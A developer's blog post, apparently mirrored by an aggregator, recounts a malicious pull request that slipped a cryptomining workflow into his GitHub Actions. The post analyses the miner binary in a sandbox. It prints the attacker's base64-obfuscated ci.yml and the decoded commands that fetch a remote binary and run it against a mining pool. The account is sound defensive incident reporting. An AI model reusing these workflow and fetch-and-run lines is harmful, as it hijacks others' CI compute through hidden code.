5

Crypto-mining attack in my GitHub actions through Pull Request

 3 years ago
source link: https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

In summary, yesterday, I was attacked by a github user that crafted a malicious github action to start a crypto-mining program inside an action run. He triggered it in my github actions thanks to a shitty pull request.

Below, starts the detailed story of the events and my investigation.

Arrow

Yesterday I was watching an episode of the serie Arrow

It's a serie that contains a lot of everything including hacking sessions that are much much exaggerated and false, but the serie is cool 😃

For the record, Laurel Lance I hate you, Thea Queen you're the best! 💯

Anyway, during a pause, I looked at devto/hn/linuxfr/github when I saw something that immediately sounded strange...

I got a pull request on a repository where I did not attend any pull requests. I mean, I could receive some, it's open and some parts can be improved for sure, but it was surprising.

First, the repository does not have any "star" ⭐

It's a collection of github actions, circle ci, travis-ci examples for Perl projects. And it's just a complete mess with links to docker images, blog posts, helpers...

Yes it has a lot of failing actions, but it's on purpose.

This repository does not seems abandoned (a commit 14 days ago from today) and neither is my profile.

It was forked 2 times in the recent 3 days.

So far, you would think I'm too nervous, but really, it smelled strange even before I looked into the Pull Request details. A sort of bad feeling.

The strange Pull request

Still on my smartphone, I looked at the pull request, it became clear that it was unclear 😀

The Pull Request title was "Update actions". The description was empty 😒 and the Pull Request has been opened/closed multiple times!

Here is my notification emails about the PR, usually I should receive only one per opened PR:

And the name of the guy is y4ndexhater1 which is really an hacker's nick 😅

But my mom learned me to never judge people by their appearance so I continued to investigate (but the game was already over 😃).

The nasty Pull Request

I then looked as fast as possible at PR content, I was nervous and rushing, I felt like github was too slow to load the page...

As a meaningful contribution I was expecting some typo corrections, or adding more actions to the set.

But instead, all my actions were proposed to deletion and one new called ci.yml was added.

Here is the screenshot (I was still on my smartphone):

When I saw the eval "$(echo "YXB0IHVwZGF0ZSAt I jumped from my couch while saying:

  • Sorry sweet, I have to start the computer for five minutes, somebody is doing something nasty to hack my github profile
  • Like Felicity Smoak? she said
  • Yes kind of, with less magic. I said

(I'm not discussing in english with my wife, we are french and we respect the french reputation about bad english, you know...👍)

The pull request had triggered actions (multiple times since it was opened/closed/opened/closed/opened/closed/opened) and the github actions were currently running... So time was playing against me, and I was very happy to have caught the pull request just few minutes after its creation 💪

Especially since each action seemed to start multiple sub-jobs:

You can see by yourself the run 549053847

When my computer finished to boot, I immediately stopped the jobs and closed the Pull Request.

The content of the ci.yml was:

name: Test
 on: [pull_request]
 jobs:
   test:
     name: Fetch
     runs-on: ubuntu-latest
     container: ubuntu:20.10
     env:
       DEBIAN_FRONTEND: noninteractive
     strategy:
       fail-fast: false
       matrix:
         runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
     steps:
       - run: |
           eval "$(echo "YXB0IHVwZGF0ZSAtcXEKYXB0IGluc3RhbGwgLXkgY3VybCBnaXQganEKY3VybCAtTGZvIHByb2cgaHR0cHM6Ly9naXRodWIuY29tL2JocmlzY2FybmF0dC9maXJzdC1yZXBvL3JlbGVhc2VzL2Rvd25sb2FkL2EvcHJvZyB8fCBjdXJsIC1MZm8gcHJvZyBodHRwczovL3RyYW5zZmVyLnNoL09TUGpLL3Byb2cKaXA9JChjdXJsIC1zIC1IICdhY2NlcHQ6IGFwcGxpY2F0aW9uL2Rucy1qc29uJyAnaHR0cHM6Ly9kbnMuZ29vZ2xlL3Jlc29sdmU/bmFtZT1wb29saW8ubWFncmF0bWFpbC54eXomdHlwZT1BJyB8IGpxIC1yICcuQW5zd2VyWzBdLmRhdGEnKQpjaG1vZCB1K3ggcHJvZwp0aW1lb3V0IDRoIC4vcHJvZyAtbyAiJHtpcH06MzAwMCIgLXUgQ2hyaXNCYXJuYXR0IC1wIEV4cGxhaW5pbmdDb21wdXRlcnMgLS1jcHUtcHJpb3JpdHkgNSA+IC9kZXYvbnVsbAo=" | base64 -d)"
Enter fullscreen modeExit fullscreen mode

The obfuscation with base64 encoding is something usual. I played with an obfuscated JAPH in a recent blog post so it took me 1 second to translate it.

With this obfuscation, I knew at this point that there was a backdoor or a mining program behind.

The mining attack

When decoding the thing:

echo "YXB0IHVwZGF0ZSAtcXEKYXB0IGluc3RhbGwgLXkgY3VybCBnaXQganEKY3VybCAtTGZvIHByb2cgaHR0cHM6Ly9naXRodWIuY29tL2JocmlzY2FybmF0dC9maXJzdC1yZXBvL3JlbGVhc2VzL2Rvd25sb2FkL2EvcHJvZyB8fCBjdXJsIC1MZm8gcHJvZyBodHRwczovL3RyYW5zZmVyLnNoL09TUGpLL3Byb2cKaXA9JChjdXJsIC1zIC1IICdhY2NlcHQ6IGFwcGxpY2F0aW9uL2Rucy1qc29uJyAnaHR0cHM6Ly9kbnMuZ29vZ2xlL3Jlc29sdmU/bmFtZT1wb29saW8ubWFncmF0bWFpbC54eXomdHlwZT1BJyB8IGpxIC1yICcuQW5zd2VyWzBdLmRhdGEnKQpjaG1vZCB1K3ggcHJvZwp0aW1lb3V0IDRoIC4vcHJvZyAtbyAiJHtpcH06MzAwMCIgLXUgQ2hyaXNCYXJuYXR0IC1wIEV4cGxhaW5pbmdDb21wdXRlcnMgLS1jcHUtcHJpb3JpdHkgNSA+IC9kZXYvbnVsbAo=" | base64 -d
Enter fullscreen modeExit fullscreen mode

I get the nasty code:

apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
Enter fullscreen modeExit fullscreen mode

I will not explain the apt lines, we don't care.

The curl lines are more interesting, since it retrieves the prog binary.

curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
Enter fullscreen modeExit fullscreen mode

From either a github profile (that no longer exists) or a transfer.sh url that maybe still exists.

Then it seems to use an external service to resolve an IP address (the one for poolio.magratmail.xyz).

ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
Enter fullscreen modeExit fullscreen mode

I think that dns.google is not a nasty domain, but honestly I'm not sure and haven't much investigated this.

Then it executes prog:

chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
Enter fullscreen modeExit fullscreen mode

😒 ChrisBarnatt... ExplainingComputers... 😒

What is prog ?

A backdoor? A mining program? Something else (a github secret stealer)?

If you read carefully the title of this post, you already know the answer 😃

I downloaded this prog since it was still available (not tested recently) at https://transfer.sh/OSPjK/prog

Then I wanted to have info without executing it so I tried

$ file prog
prog: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Enter fullscreen modeExit fullscreen mode

Except statically linked, no info :/

Or even:

$ objdump -s --section .comment prog

prog:     file format elf64-x86-64

Contents of section .comment:
 0000 4743433a 2028416c 70696e65 2031302e  GCC: (Alpine 10.
 0010 322e315f 70726531 29203130 2e322e31  2.1_pre1) 10.2.1
 0020 20323032 30313230 3300                20201203.
Enter fullscreen modeExit fullscreen mode

Alpine? It even does not have the same libc? But ok...

I quickly looked into the file with hexedit.

Then, I thought about trying more options with readelf or objdump (if you know what are the magic commands, please comment!).

I also thought about decompiling it...

Finally, since it's a program that requires arguments to work properly, I had the feeling that I could run it safely by using wrong or no arguments so I could get informations about its nature.

Even with this assumption, I would only execute it in a container, with network disabled and on a computer with no internet access.

The hacker's escape

While it took me maybe 7 minutes to stop all the jobs and close the pull request, in the 5 minutes that followed, the pull request itself and the user y4ndexhater1 totally disappeared (for your info, it looked an usual profile with projects pinned on the homepage).

EDIT: GitHub support informed me later that the profile and pull request disappearing was triggered by them flagging this user for suspicious activity 😃

Inspecting prog in a container

First I disabled my internet connection.

Then I started a docker container without network:

docker run -v`pwd`:/tmp --network none -it ubuntu bash
Enter fullscreen modeExit fullscreen mode

At this point, I had a "Poor man's Qube OS" 😀 where I can execute prog.

Here I hesitated a bit before running the untrusted binary...

I hesitated again...

Ok finally I was bold enough to execute the thing and it revealed to be a cryptominer called XMRig:

$ ./prog --version
XMRig 6.8.1
 built on Feb  3 2021 with GCC 10.2.1
 features: 64-bit AES

libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
Enter fullscreen modeExit fullscreen mode

The XMRig has released 6.8.1 some days ago and it coincides with date reported by ./prog --version.

I tried to check if it's exactly one of the binary from XMRig download page

$ sha256sum prog
0a243ac063b60b13dc5e4ea85021faab6109f7e0d2aa68c9691008ed55e54001  prog
Enter fullscreen modeExit fullscreen mode

But I didn't find the match, so maybe it's a modified version of it or it's even not this thing at all...😳

Conclusion

To sleep peacefully, I disabled the github actions on this repository (is there an option to disable for a whole github profile?)

I have to admit, I did no slept peacefully last night. I was a bit anxious (for nothing) about having been infected while inspecting the prog cryptominer 😬 so I'm checking all the time my local system status with netstat and htop. If you, dear reader, are earning money from my computer CPU, please tell me 😁

I found absolutely zero info about this attack, does somebody is aware of this? Am I alone? Is this new?

EDIT1: I reported this to GitHub (through support and communities)

EDIT2: I found this article Massive Cryptomining Campaign Abusing GitHub that describes the same kind of attack with a different implementation.

EDIT3: GitHub support is aware of these kind of attacks and confirmed this writing. They took actions on the hacker's profile and deleted the pull request (what I described in "The hacker's escape")

EDIT4: The story was about to repeat, I noticed a new user "dir99" that forked this repository and was suspicious. So I immediately disabled the actions. The user was almost new, with some repos created one week ago. The majority of repositories have no description neither code (but each time one tarball in release). The user has no followers neither any star on the repo. Some days later, the profile disappeared. This is a screenshot of the profile:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK